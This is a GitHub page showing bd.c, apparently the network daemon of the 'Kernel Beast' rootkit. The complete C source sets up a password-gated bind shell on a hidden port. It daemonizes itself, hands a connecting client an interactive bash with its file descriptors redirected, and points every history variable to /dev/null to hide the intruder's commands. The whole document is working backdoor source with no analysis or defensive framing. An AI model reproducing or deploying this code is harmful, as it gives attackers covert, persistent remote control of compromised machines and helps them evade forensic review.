-
Notifications
You must be signed in to change notification settings - Fork 12
/
bd.c
109 lines (96 loc) · 2.47 KB
/
bd.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*
Kernel Beast Ver #1.0 - Network Daemon
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include "config.h"
#define MAXLISTEN 5
void bindshell();
void error_ret(char *);
void enterpass(int);
char *argv[] = { "bash", "-i", NULL };
char *envp[] = { "TERM=linux", "PS1=$", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null", "HOME=/usr/_sh4x_","HISTFILE=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
char *banner =
"\npassword:\n";
void error_ret(char *s){
printf("ERROR! Error occured on your system!\n");
perror(s);
exit(-1);
}
void enterpass(int s){
char *prompt="Password [displayed to screen]: ";
char *motd="<< Welcome >>\n";
char buffer[64];
//write(s,banner,strlen(banner));
//write(s,prompt,strlen(prompt));
read(s,buffer,sizeof(buffer));
if(!strncmp(buffer, _RPASSWORD_, strlen(_RPASSWORD_))) {
write(s,motd,strlen(motd));
}else {
//write(s,"Wrong!\n", 7);
close(s);
_exit(0);
}
}
void bindshell()
{
struct sockaddr_in sockaddr,cliaddr;
int sock,cli,clilen,pid,child;
FILE *fd;
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htons(_HIDE_PORT_);
sockaddr.sin_addr.s_addr = INADDR_ANY;
sock=socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
error_ret("socket");
if(bind(sock,(struct sockaddr *)&sockaddr,sizeof(sockaddr))<0)
error_ret("bind");
if(listen(sock,MAXLISTEN)<0)
error_ret("listen");
if((pid=fork())!=0){
printf("Daemon running with PID = %i\n",pid);
exit(0);
}
setsid();
chdir(_H4X_PATH_);
umask(0);
close(0);
signal(SIGCHLD, SIG_IGN);
while(1){
clilen=sizeof(cliaddr);
cli=accept(sock,(struct sockaddr *)&cliaddr,&clilen);
if(cli<0)
continue;
if((child=fork())==0){
close(sock);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
//close(0);
//fid = fcntl(cli, F_DUPFD, 0);
enterpass(cli);
execve("/bin/bash", argv, envp);
close(child);
close(cli);
}
}
return;
}
int main(int argc, char **argv)
{
bindshell();
return 0;
}